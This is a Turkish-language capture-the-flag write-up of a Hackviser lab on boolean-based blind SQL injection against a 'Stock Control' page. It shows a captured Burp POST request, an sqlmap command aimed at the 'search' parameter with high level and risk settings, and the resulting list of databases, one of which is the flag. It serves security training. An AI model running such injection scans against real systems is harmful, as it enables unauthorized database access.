

SQL Injection/Boolean-Based Blind SQL Injection

Herkese selamlar bu yazımda [Hackviser](#) üzerinde bulunan Web security lablarından biri olan SQL Injection/**Boolean-Based Blind SQL Injection** labının çözümünü anlatacağım.

Öncelikle siteye gittiğimizde bizi aşağıdaki gibi "Stock Control" uygulaması bizi karşılıyor.

Stock Control

Select an item to check:

All Products



Check

We have this product in stock.

Test etmek için herhangi bir ürünü deniyoruz stokta bulunuyorsa We have this product in stock çıktısını alıyoruz.

Stock Control

Select an item to check:

All Products



Check

We have this product in stock.

Bu kısımda herhangi bir bilgi girişi yapabileceğimiz alan bulunmuyor. Benim de aklıma Burp de isetği incelemek geliyor.

```
Request
Pretty Raw Hex
1 POST / HTTP/1.1
2 Host: wondrous-empath.europel.hackviser.space
3 Content-Length: 15
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Accept-Language: tr-TR,tr;q=0.9
9 Origin: https://wondrous-empath.europel.hackviser.space
10 Content-Type: application/x-www-form-urlencoded
11 Upgrade-Insecure-Requests: 1
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71
Safari/537.36
13 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avi
f,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v
=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://wondrous-empath.europel.hackviser.space/
19 Accept-Encoding: gzip, deflate, br
20 Priority: u=0, i
21 Connection: keep-alive
22
23 search=iphone6s|
```

İsteği tuttuğum zaman yukarıdaki gibi bir istekle karşılaşıyoruz. Bu kısımda bulunan "search" kısmına müdahale edebiliyoruz. Çeşitli denemelerden sonra başarılı olamıyorum ve aklıma sqlmap aracını kullanmak geliyor.

```
sqlmap -u "https://wondrous-empath.europel.hackviser.space/" --
data="search=iphone6s" --method=POST --level=5 --risk=3 --dbs
```

Yukarıdaki gibi bir sqlmap komutu hazırlıyorum.

Bu komutun açıklaması ise şu şekilde :

- `u "https://wondrous-empath.europe1.hackviser.space/"` : Hedef URL.
- `-data="search=iphone6s"` : POST verisi olarak "search" parametresine gönderilen değeri belirtiyorsun.
- `-method=POST` : POST metodu kullanıldığını belirtiyorsun.
- `-dbs` : Bu seçenek, veritabanı adlarını öğrenmek için kullanılır.
- `-level=5` : SQLMap'ın daha derinlemesine testler yapmasını sağlar.
- `-risk=3` : Yüksek riskli ve etkili testleri devreye sokar.

Bu işlemlerden sonra aşağıdaki gibi bir sqlmap çıktısı alıyoruz.

```
[04:34:22] [INFO] Retrieved: echo_store
available databases [5]:
[*] echo_store
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
```

Burada bize bulunan db isimlerini veriyor. Bu kısımda bulunan "echo_store" ise bizim flag değerimiz oluyor.

Umarım bu yazıyı sıkılmadan okumuşsunuzdur. Keyifli çalışmalar.